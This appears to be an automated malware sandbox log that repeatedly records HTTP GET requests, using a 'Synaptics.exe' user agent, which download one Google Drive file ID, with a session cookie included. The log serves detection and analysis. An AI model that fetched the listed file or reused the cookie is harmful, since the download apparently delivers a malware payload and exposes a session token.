Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
